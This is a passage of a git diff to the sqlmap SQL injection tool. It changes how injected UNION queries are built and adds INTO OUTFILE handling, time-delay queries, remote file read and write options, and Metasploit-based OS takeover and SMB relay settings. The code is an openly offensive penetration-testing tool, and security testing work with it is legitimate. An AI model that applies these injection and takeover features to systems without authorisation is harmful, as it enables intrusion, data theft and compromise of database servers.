concatenatedQuery += " FROM DUAL" elif kb.dbms == "Microsoft SQL Server": if fieldsSelectTop: - topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatQuery, re.I).group(1) - concatQuery = concatQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1) - concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1) + topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1) + concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, temp.start), 1) + concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1) + elif fieldsSelectCase: + concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1) + concatenatedQuery += "+'%s'" % temp.stop elif fieldsSelectFrom: - concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1) - concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1) + concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1) + concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1) elif fieldsSelect: - concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1) - concatQuery += "+'%s'" % temp.stop + concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % temp.start, 1) + concatenatedQuery += "+'%s'" % temp.stop elif fieldsNoSelect: - concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop) + concatenatedQuery = "'%s'+%s+'%s'" % (temp.start, concatenatedQuery, temp.stop) - return concatQuery + return concatenatedQuery - def forgeInbandQuery(self, query, exprPosition=None): + def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"): """ Take in input an query (pseudo query) string and return its processed UNION ALL SELECT query. @@ -398,6 +433,12 @@ class Agent: if not exprPosition: exprPosition = kb.unionPosition + intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I) + + if intoRegExp: + intoRegExp = intoRegExp.group(1) + query = query[:query.index(intoRegExp)] + if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"): inbandQuery = inbandQuery[:-len(" FROM DUAL")] @@ -406,15 +447,15 @@ class Agent: inbandQuery += ", " if element == exprPosition: - if " FROM " in query and not query.startswith("SELECT "): + if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query: conditionIndex = query.index(" FROM ") inbandQuery += query[:conditionIndex] else: inbandQuery += query else: - inbandQuery += "NULL" + inbandQuery += nullChar - if " FROM " in query and not query.startswith("SELECT "): + if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query: conditionIndex = query.index(" FROM ") inbandQuery += query[conditionIndex:] @@ -422,6 +463,9 @@ class Agent: if " FROM " not in inbandQuery: inbandQuery += " FROM DUAL" + if intoRegExp: + inbandQuery += intoRegExp + inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment) return inbandQuery diff --git a/lib/core/common.py b/lib/core/common.py index 990c80be9..61ec83e1c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -27,19 +27,22 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import os import random import re +import socket import string import sys import time import urlparse +from lib.contrib import magic from lib.core.convert import urldecode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.data import paths +from lib.core.data import queries from lib.core.data import temp from lib.core.exception import sqlmapFilePathException -from lib.core.data import paths from lib.core.settings import SQL_STATEMENTS from lib.core.settings import VERSION_STRING @@ -137,8 +140,9 @@ def formatDBMSfp(versions=None): return kb.dbms -def __formatFingerprintString(values, chain=" or "): +def formatFingerprintString(values, chain=" or "): string = "|".join([v for v in values]) + return string.replace("|", chain) @@ -175,22 +179,22 @@ def formatFingerprint(target, info): infoStr = "" if info and "type" in info: - infoStr += "%s operating system: %s" % (target, __formatFingerprintString(info["type"])) + infoStr += "%s operating system: %s" % (target, formatFingerprintString(info["type"])) if "distrib" in info: - infoStr += " %s" % __formatFingerprintString(info["distrib"]) + infoStr += " %s" % formatFingerprintString(info["distrib"]) if "release" in info: - infoStr += " %s" % __formatFingerprintString(info["release"]) + infoStr += " %s" % formatFingerprintString(info["release"]) if "sp" in info: - infoStr += " %s" % __formatFingerprintString(info["sp"]) + infoStr += " %s" % formatFingerprintString(info["sp"]) if "codename" in info: - infoStr += " (%s)" % __formatFingerprintString(info["codename"]) + infoStr += " (%s)" % formatFingerprintString(info["codename"]) if "technology" in info: - infoStr += "\nweb application technology: %s" % __formatFingerprintString(info["technology"], ", ") + infoStr += "\nweb application technology: %s" % formatFingerprintString(info["technology"], ", ") return infoStr @@ -307,6 +311,21 @@ def dataToDumpFile(dumpFile, data): dumpFile.flush() +def dataToOutFile(data): + if not data: + return "No data retrieved" + + rFile = filePathToString(conf.rFile) + rFilePath = "%s%s%s" % (conf.filePath, os.sep, rFile) + rFileFP = open(rFilePath, "wb") + + rFileFP.write(data) + rFileFP.flush() + rFileFP.close() + + return rFilePath + + def strToHex(string): """ @param string: string to be converted into its hexadecimal value. @@ -377,6 +396,9 @@ def readInput(message, default=None): @rtype: C{str} """ + if "\n" in message: + message += "\n> " + if conf.batch and default: infoMsg = "%s%s" % (message, str(default)) logger.info(infoMsg) @@ -386,7 +408,7 @@ def readInput(message, default=None): data = default else: - data = raw_input("[%s] [INPUT] %s" % (time.strftime("%X"), message)) + data = raw_input(message) return data @@ -418,7 +440,7 @@ def randomInt(length=4): return int("".join([random.choice(string.digits) for _ in xrange(0, length)])) -def randomStr(length=5): +def randomStr(length=5, lowercase=False): """ @param length: length of the random string. @type length: C{int} @@ -427,7 +449,12 @@ def randomStr(length=5): @rtype: C{str} """ - return "".join([random.choice(string.letters) for _ in xrange(0, length)]) + if lowercase == True: + rndStr = "".join([random.choice(string.lowercase) for _ in xrange(0, length)]) + else: + rndStr = "".join([random.choice(string.letters) for _ in xrange(0, length)]) + + return rndStr def sanitizeStr(string): @@ -469,8 +496,8 @@ def banner(): """ print """ - %s coded by Bernardo Damele A. G. - and Daniele Bellucci + %s + by Bernardo Damele A. G. """ % VERSION_STRING @@ -509,8 +536,10 @@ def cleanQuery(query): def setPaths(): # sqlmap paths + paths.SQLMAP_CONTRIB_PATH = "%s/lib/contrib" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_SHELL_PATH = "%s/shell" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_TXT_PATH = "%s/txt" % paths.SQLMAP_ROOT_PATH + paths.SQLMAP_UDF_PATH = "%s/udf" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_XML_PATH = "%s/xml" % paths.SQLMAP_ROOT_PATH paths.SQLMAP_XML_BANNER_PATH = "%s/banner" % paths.SQLMAP_XML_PATH paths.SQLMAP_OUTPUT_PATH = "%s/output" % paths.SQLMAP_ROOT_PATH @@ -629,7 +658,7 @@ def getRange(count, dump=False, plusOne=False): return indexRange -def parseUnionPage(output, expression, partial=False, condition=None): +def parseUnionPage(output, expression, partial=False, condition=None, sort=True): data = [] outCond1 = ( output.startswith(temp.start) and output.endswith(temp.stop) ) @@ -653,7 +682,8 @@ def parseUnionPage(output, expression, partial=False, condition=None): logOutput = "".join(["__START__%s__STOP__" % replaceNewlineTabs(value) for value in output]) dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], expression, logOutput)) - output = set(output) + if sort: + output = set(output) for entry in output: info = [] @@ -677,3 +707,99 @@ def parseUnionPage(output, expression, partial=False, condition=None): data = data[0] return data + + +def getDelayQuery(): + query = None + + if kb.dbms in ( "MySQL", "PostgreSQL" ): + if not kb.data.banner: + conf.dbmsHandler.getVersionFromBanner() + + banVer = kb.bannerFp["dbmsVersion"] + + if ( kb.dbms == "MySQL" and banVer >= "5.0.12" ) or ( kb.dbms == "PostgreSQL" and banVer >= "8.2" ): + query = queries[kb.dbms].timedelay % conf.timeSec + else: + query = queries[kb.dbms].timedelay2 % conf.timeSec + else: + query = queries[kb.dbms].timedelay % conf.timeSec + + return query + + +def getLocalIP(): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((conf.hostname, conf.port)) + ip, _ = s.getsockname() + s.close() + + return ip + + +def getRemoteIP(): + return socket.gethostbyname(conf.hostname) + + +def getFileType(filePath): + magicFileType = magic.from_file(filePath) + + if "ASCII" in magicFileType or "text" in magicFileType: + return "text" + else: + return "binary" + + +def pollProcess(process): + while True: + dataToStdout(".") + time.sleep(1) + + returncode = process.poll() + + if returncode != None: + if returncode == 0: + dataToStdout(" done\n") + else: + dataToStdout(" quit unexpectedly by signal %d\n" % returncode) + + break + + +def getCharset(charsetType=None): + asciiTbl = [] + + if charsetType == None: + asciiTbl = range(0, 128) + + # 0 or 1 + elif charsetType == 1: + asciiTbl.extend([ 0, 1 ]) + asciiTbl.extend(range(47, 50)) + + # Digits + elif charsetType == 2: + asciiTbl.extend([ 0, 1 ]) + asciiTbl.extend(range(47, 58)) + + # Hexadecimal + elif charsetType == 3: + asciiTbl.extend([ 0, 1 ]) + asciiTbl.extend(range(47, 58)) + asciiTbl.extend(range(64, 71)) + asciiTbl.extend(range(96, 103)) + + # Characters + elif charsetType == 4: + asciiTbl.extend([ 0, 1 ]) + asciiTbl.extend(range(64, 91)) + asciiTbl.extend(range(96, 123)) + + # Characters and digits + elif charsetType == 5: + asciiTbl.extend([ 0, 1 ]) + asciiTbl.extend(range(47, 58)) + asciiTbl.extend(range(64, 91)) + asciiTbl.extend(range(96, 123)) + + return asciiTbl diff --git a/lib/core/convert.py b/lib/core/convert.py index d2bc50bae..121f2222e 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -83,8 +83,11 @@ def urldecode(string): return unquotedString -def urlencode(string, safe=":/?%&="): +def urlencode(string, safe=":/?%&=", convall=False): if not string: return - return urllib.quote(string, safe) + if convall == True: + return urllib.quote(string) + else: + return urllib.quote(string, safe) diff --git a/lib/core/data.py b/lib/core/data.py index a403a8511..70aa427a9 100644 --- a/lib/core/data.py +++ b/lib/core/data.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 52c01577b..b93731558 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/core/dump.py b/lib/core/dump.py index 011d4eaf9..e7cfce6ac 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -28,7 +28,6 @@ import re import os from lib.core.common import dataToDumpFile -from lib.core.common import filePathToString from lib.core.data import conf from lib.core.data import logger @@ -45,18 +44,10 @@ class Dump: self.__outputFP = None - def __write(self, data, n=True, rFile=False): + def __write(self, data, n=True): if n: print data self.__outputFP.write("%s\n" % data) - - # TODO: do not duplicate queries output in the text file, check - # before if the data is already within the text file content - if rFile and conf.rFile: - rFile = filePathToString(conf.rFile) - rFileFP = open("%s%s%s" % (conf.filePath, os.sep, rFile), "w") - rFileFP.write(data) - rFileFP.close() else: print data, self.__outputFP.write("%s " % data) @@ -71,35 +62,38 @@ class Dump: self.__outputFP = open(self.__outputFile, "a") - def string(self, header, data): + def string(self, header, data, sort=True): if isinstance(data, (list, tuple, set)): - self.lister(header, data) + self.lister(header, data, sort) return + data = str(data) + if data: data = data.replace("__NEWLINE__", "\n").replace("__TAB__", "\t") data = data.replace("__START__", "").replace("__STOP__", "") data = data.replace("__DEL__", ", ") if "\n" in data: - self.__write("%s:\n---\n%s---\n" % (header, data), rFile=header) + self.__write("%s:\n---\n%s---\n" % (header, data)) else: self.__write("%s: '%s'\n" % (header, data)) else: self.__write("%s:\tNone\n" % header) - def lister(self, header, elements): + def lister(self, header, elements, sort=True): if elements: self.__write("%s [%d]:" % (header, len(elements))) - try: - elements = set(elements) - elements = list(elements) - elements.sort(key=lambda x: x.lower()) - except: - pass + if sort == True: + try: + elements = set(elements) + elements = list(elements) + elements.sort(key=lambda x: x.lower()) + except: + pass for element in elements: if isinstance(element, str): diff --git a/lib/core/exception.py b/lib/core/exception.py index 35da830b1..a8dd3190f 100644 --- a/lib/core/exception.py +++ b/lib/core/exception.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -26,6 +26,8 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import sys +from lib.core.settings import PLATFORM +from lib.core.settings import PYVERSION from lib.core.settings import VERSION from lib.core.settings import VERSION_STRING @@ -93,10 +95,10 @@ class sqlmapValueException(Exception): def unhandledException(): errMsg = "unhandled exception in %s, please copy " % VERSION_STRING errMsg += "the command line and the following text and send by e-mail " - errMsg += "to sqlmap-users@lists.sourceforge.net. The developers will " + errMsg += "to sqlmap-users@lists.sourceforge.net. The developer will " errMsg += "fix it as soon as possible:\nsqlmap version: %s\n" % VERSION - errMsg += "Python version: %s\n" % sys.version.split()[0] - errMsg += "Operating system: %s" % sys.platform + errMsg += "Python version: %s\n" % PYVERSION + errMsg += "Operating system: %s" % PLATFORM return errMsg diff --git a/lib/core/option.py b/lib/core/option.py index 219270c8a..b15361c0c 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -25,17 +25,20 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import cookielib +import ctypes import difflib import logging import os import re import socket +import sys import time import urllib2 import urlparse from ConfigParser import ConfigParser +from lib.core.common import getFileType from lib.core.common import parseTargetUrl from lib.core.common import paths from lib.core.common import randomRange @@ -49,13 +52,17 @@ from lib.core.data import paths from lib.core.datatype import advancedDict from lib.core.exception import sqlmapFilePathException from lib.core.exception import sqlmapGenericException +from lib.core.exception import sqlmapMissingMandatoryOptionException +from lib.core.exception import sqlmapMissingPrivileges from lib.core.exception import sqlmapSyntaxException from lib.core.exception import sqlmapUnsupportedDBMSException from lib.core.optiondict import optDict from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES +from lib.core.settings import PLATFORM from lib.core.settings import SITE from lib.core.settings import SUPPORTED_DBMS +from lib.core.settings import SUPPORTED_OS from lib.core.settings import VERSION_STRING from lib.core.update import update from lib.parse.configfile import configFileParser @@ -241,12 +248,140 @@ def __setGoogleDorking(): raise sqlmapGenericException, errMsg +def __setMetasploit(): + if not conf.osPwn and not conf.osSmb and not conf.osBof: + return + + if conf.osSmb: + isAdmin = False + + if "win" in PLATFORM: + isAdmin = ctypes.windll.shell32.IsUserAnAdmin() + + if isinstance(isAdmin, (int, float, long)) and isAdmin == 1: + isAdmin = True + + elif "linux" in PLATFORM: + isAdmin = os.geteuid() + + if isinstance(isAdmin, (int, float, long)) and isAdmin == 0: + isAdmin = True + + # TODO: add support for Mac OS X + #elif "darwin" in PLATFORM: + # pass + + else: + warnMsg = "sqlmap is not able to check if you are running it " + warnMsg += "as an Administrator accout on this platform. " + warnMsg += "sqlmap will assume that you are an Administrator " + warnMsg += "which is mandatory for the SMB relay attack to " + warnMsg += "work properly" + logger.warn(warnMsg) + + isAdmin = True + + if isAdmin != True: + errMsg = "you need to run sqlmap as an administrator/root " + errMsg += "user if you want to perform a SMB relay attack " + errMsg += "because it will need to listen on a user-specified " + errMsg += "SMB TCP port for incoming connection attempts" + raise sqlmapMissingPrivileges, errMsg + + debugMsg = "setting the out-of-band functionality" + logger.debug(debugMsg) + + msfEnvPathExists = False + + if conf.msfPath: + condition = os.path.exists(os.path.normpath(conf.msfPath)) + condition &= os.path.exists(os.path.normpath("%s/msfcli" % conf.msfPath)) + condition &= os.path.exists(os.path.normpath("%s/msfconsole" % conf.msfPath)) + condition &= os.path.exists(os.path.normpath("%s/msfencode" % conf.msfPath)) + condition &= os.path.exists(os.path.normpath("%s/msfpayload" % conf.msfPath)) + + if condition: + debugMsg = "provided Metasploit Framework 3 path " + debugMsg += "'%s' is valid" % conf.msfPath + logger.debug(debugMsg) + + msfEnvPathExists = True + else: + warnMsg = "the provided Metasploit Framework 3 path " + warnMsg += "'%s' is not valid. The cause could " % conf.msfPath + warnMsg += "be that the path does not exists or that one " + warnMsg += "or more of the needed Metasploit executables " + warnMsg += "within msfcli, msfconsole, msfencode and " + warnMsg += "msfpayload do not exist" + logger.warn(warnMsg) + else: + warnMsg = "you did not provide the local path where Metasploit " + warnMsg += "Framework 3 is installed" + logger.warn(warnMsg) + + if msfEnvPathExists != True: + warnMsg = "sqlmap is going to look for Metasploit Framework 3 " + warnMsg += "installation into the environment paths" + logger.warn(warnMsg) + + envPaths = os.environ["PATH"] + + if "win" in PLATFORM: + envPaths = envPaths.split(";") + else: + envPaths = envPaths.split(":") + + for envPath in envPaths: + condition = os.path.exists(os.path.normpath(envPath)) + condition &= os.path.exists(os.path.normpath("%s/msfcli" % envPath)) + condition &= os.path.exists(os.path.normpath("%s/msfconsole" % envPath)) + condition &= os.path.exists(os.path.normpath("%s/msfencode" % envPath)) + condition &= os.path.exists(os.path.normpath("%s/msfpayload" % envPath)) + + if condition: + infoMsg = "Metasploit Framework 3 has been found " + infoMsg += "installed in the '%s' path" % envPath + logger.info(infoMsg) + + msfEnvPathExists = True + conf.msfPath = envPath + + break + + if msfEnvPathExists != True: + errMsg = "unable to locate Metasploit Framework 3 installation. " + errMsg += "Get it from http://metasploit.com/framework/download/" + raise sqlmapFilePathException, errMsg + + +def __setWriteFile(): + if not conf.wFile: + return + + debugMsg = "setting the write file functionality" + logger.debug(debugMsg) + + if not os.path.exists(conf.wFile): + errMsg = "the provided local file '%s' does not exist" % conf.wFile + raise sqlmapFilePathException, errMsg + + if not conf.dFile: + errMsg = "you did not provide the back-end DBMS absolute path " + errMsg += "where you want to write the local file '%s'" % conf.wFile + raise sqlmapMissingMandatoryOptionException, errMsg + + conf.wFileType = getFileType(conf.wFile) + + def __setUnionTech(): if conf.uTech == None: conf.uTech = "NULL" return + debugMsg = "setting the UNION query SQL injection detection technique" + logger.debug(debugMsg) + uTechOriginal = conf.uTech conf.uTech = conf.uTech.lower() @@ -263,6 +398,29 @@ def __setUnionTech(): logger.debug(debugMsg) +def __setOS(): + """ + Force the back-end DBMS operating system option. + """ + + if not conf.os: + return + + debugMsg = "forcing back-end DBMS operating system to user defined value" + logger.debug(debugMsg) + + conf.os = conf.os.lower() + + if conf.os not in SUPPORTED_OS: + errMsg = "you provided an unsupported back-end DBMS operating " + errMsg += "system. The supported DBMS operating systems for OS " + errMsg += "and file system access are Linux and Windows. " + errMsg += "If you do not know the back-end DBMS underlying OS, " + errMsg += "do not provide it and sqlmap will fingerprint it for " + errMsg += "you." + raise sqlmapUnsupportedDBMSException, errMsg + + def __setDBMS(): """ Force the back-end DBMS option. @@ -280,8 +438,8 @@ def __setDBMS(): dbmsRegExp = re.search("%s ([\d\.]+)" % firstRegExp, conf.dbms) if dbmsRegExp: - conf.dbms = dbmsRegExp.group(1) - kb.dbmsVersion = [dbmsRegExp.group(2)] + conf.dbms = dbmsRegExp.group(1) + kb.dbmsVersion = [ dbmsRegExp.group(2) ] if conf.dbms not in SUPPORTED_DBMS: errMsg = "you provided an unsupported back-end database management " @@ -581,6 +739,21 @@ def __cleanupOptions(): if conf.delay: conf.delay = float(conf.delay) + if conf.rFile: + conf.rFile = os.path.normpath(conf.rFile.replace("\\", "/")) + + if conf.wFile: + conf.wFile = os.path.normpath(conf.wFile.replace("\\", "/")) + + if conf.dFile: + conf.dFile = os.path.normpath(conf.dFile.replace("\\", "/")) + + if conf.msfPath: + conf.msfPath = os.path.normpath(conf.msfPath.replace("\\", "/")) + + if conf.tmpPath: + conf.tmpPath = os.path.normpath(conf.tmpPath.replace("\\", "/")) + if conf.googleDork or conf.list: conf.multipleTargets = True @@ -600,21 +773,24 @@ def __setConfAttributes(): conf.httpHeaders = [] conf.hostname = None conf.loggedToOut = None + conf.matchRatio = None conf.md5hash = None conf.multipleTargets = False conf.outputPath = None conf.paramDict = {} conf.parameters = {} + conf.paramFalseCond = False conf.paramNegative = False conf.path = None conf.port = None - conf.retries = 0 + conf.retriesCount = 0 conf.scheme = None #conf.seqMatcher = difflib.SequenceMatcher(lambda x: x in " \t") conf.seqMatcher = difflib.SequenceMatcher(None) conf.sessionFP = None conf.start = True conf.threadException = False + conf.wFileType = None def __setKnowledgeBaseAttributes(): @@ -627,17 +803,31 @@ def __setKnowledgeBaseAttributes(): logger.debug(debugMsg) kb.absFilePaths = set() - kb.docRoot = None + kb.bannerFp = advancedDict() + kb.data = advancedDict() + + # Basic back-end DBMS fingerprint kb.dbms = None kb.dbmsDetected = False - kb.dbmsVersion = None - kb.bannerFp = {} + + # Active (extensive) back-end DBMS fingerprint + kb.dbmsVersion = [] + + kb.dep = None + kb.docRoot = None kb.headersCount = 0 kb.headersFp = {} kb.htmlFp = [] kb.injParameter = None kb.injPlace = None kb.injType = None + + # Back-end DBMS underlying operating system fingerprint via banner (-b) + # parsing or when knowing the OS is mandatory (i.g. dealing with DEP) + kb.os = None + kb.osVersion = None + kb.osSP = None + kb.parenthesis = None kb.resumedQueries = {} kb.stackedTest = None @@ -763,7 +953,10 @@ def init(inputOptions=advancedDict()): __setHTTPProxy() __setThreads() __setDBMS() + __setOS() __setUnionTech() + __setWriteFile() + __setMetasploit() __setGoogleDorking() __setMultipleTargets() __urllib2Opener() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 1a16ddd9f..0da3c2825 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -51,6 +51,7 @@ optDict = { "Injection": { "testParameter": "string", "dbms": "string", + "os": "string", "prefix": "string", "postfix": "string", "string": "string", @@ -98,10 +99,18 @@ optDict = { "File system": { "rFile": "string", "wFile": "string", + "dFile": "string", }, "Takeover": { + "osCmd": "string", "osShell": "boolean", + "osPwn": "boolean", + "osSmb": "boolean", + "osBof": "boolean", + "privEsc": "boolean", + "msfPath": "string", + "tmpPath": "string", }, "Miscellaneous": { @@ -110,5 +119,6 @@ optDict = { "updateAll": "boolean", "sessionFile": "string", "batch": "boolean", + "cleanup": "boolean", }, } diff --git a/lib/core/progress.py b/lib/core/progress.py index d92e3487b..7af7bee1e 100644 --- a/lib/core/progress.py +++ b/lib/core/progress.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index 6e7ef3470..c0861a8ed 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -31,8 +31,8 @@ boolean and _outputfile variable used in genutils. import sys - from lib.core.data import logger +from lib.core.settings import PLATFORM try: @@ -49,7 +49,7 @@ except ImportError: except ImportError: haveReadline = False -if sys.platform == 'win32' and haveReadline: +if 'win' in PLATFORM and haveReadline: try: _outputfile=_rl.GetOutputFile() except AttributeError: @@ -63,7 +63,7 @@ if sys.platform == 'win32' and haveReadline: # Thanks to Boyd Waters for this patch. uses_libedit = False -if sys.platform == 'darwin' and haveReadline: +if PLATFORM == 'darwin' and haveReadline: import commands (status, result) = commands.getstatusoutput( "otool -L %s | grep libedit" % _rl.__file__ ) diff --git a/lib/core/session.py b/lib/core/session.py index ca868ca8f..cae12d887 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -5,8 +5,8 @@ $Id$ This file is part of the sqlmap project, http://sqlmap.sourceforge.net. -Copyright (c) 2006-2009 Bernardo Damele A. G. - and Daniele Bellucci +Copyright (c) 2007-2009 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci sqlmap is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -27,6 +27,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA import re from lib.core.common import dataToSessionFile +from lib.core.common import formatFingerprintString from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb @@ -34,6 +35,7 @@ from lib.core.data import logger from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES + def setString(): """ Save string to match in session file. @@ -62,6 +64,17 @@ def setRegexp(): dataToSessionFile("[%s][None][None][Regular expression][%s]\n" % (conf.url, conf.regexp)) +def setMatchRatio(): + condition = ( + not kb.resumedQueries + or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("Match ratio") ) + ) + + if condition: + dataToSessionFile("[%s][None][None][Match ratio][%s]\n" % (conf.url, conf.matchRatio)) + + def setInjection(): """ Save information retrieved about injection place and parameter in the @@ -132,6 +145,67 @@ def setDbms(dbms): logger.info("the back-end DBMS is %s" % kb.dbms) +def setOs(): + """ + Example of kb.bannerFp dictionary: + + { + 'sp': set(['Service Pack 4']), + 'dbmsVersion': '8.00.194', + 'dbmsServicePack': '0', + 'distrib': set(['2000']), + 'dbmsRelease': '2000', + 'type': set(['Windows']) + } + """ + + infoMsg = "" + condition = ( + not kb.resumedQueries + or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("OS") ) + ) + + if not kb.bannerFp: + return + + if "type" in kb.bannerFp: + kb.os = formatFingerprintString(kb.bannerFp["type"]) + infoMsg = "the back-end DBMS operating system is %s" % kb.os + + if "distrib" in kb.bannerFp: + kb.osVersion = formatFingerprintString(kb.bannerFp["distrib"]) + infoMsg += " %s" % kb.osVersion + + if "sp" in kb.bannerFp: + kb.osSP = int(formatFingerprintString(kb.bannerFp["sp"]).replace("Service Pack ", "")) + + elif "sp" not in kb.bannerFp and kb.os == "Windows": + kb.osSP = 0 + + if kb.os and kb.osVersion: + infoMsg += " Service Pack %d" % kb.osSP + + if infoMsg: + logger.info(infoMsg) + + if condition: + dataToSessionFile("[%s][%s][%s][OS][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.os)) + + +def setStacked(): + condition = ( + not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("Stacked queries") ) + ) + + if not isinstance(kb.stackedTest, str): + return + + if condition: + dataToSessionFile("[%s][%s][%s][Stacked queries][%s]\n" % (conf.url, kb.injPlace, conf.parameters[kb.injPlace], kb.stackedTest)) + + def setUnion(comment=None, count=None, position=None): """ @param comment: union comment to save in session file @@ -172,6 +246,27 @@ def setUnion(comment=None, count=None, position=None): kb.unionPosition = position +def setRemoteTempPath(): + condition = ( + not kb.resumedQueries or ( kb.resumedQueries.has_key(conf.url) and + not kb.resumedQueries[conf.url].has_key("Remote temp path") ) + ) + + if condition: + dataToSessionFile("[%s][%s][%s][Remote temp path][%s]\n" % (conf.url, 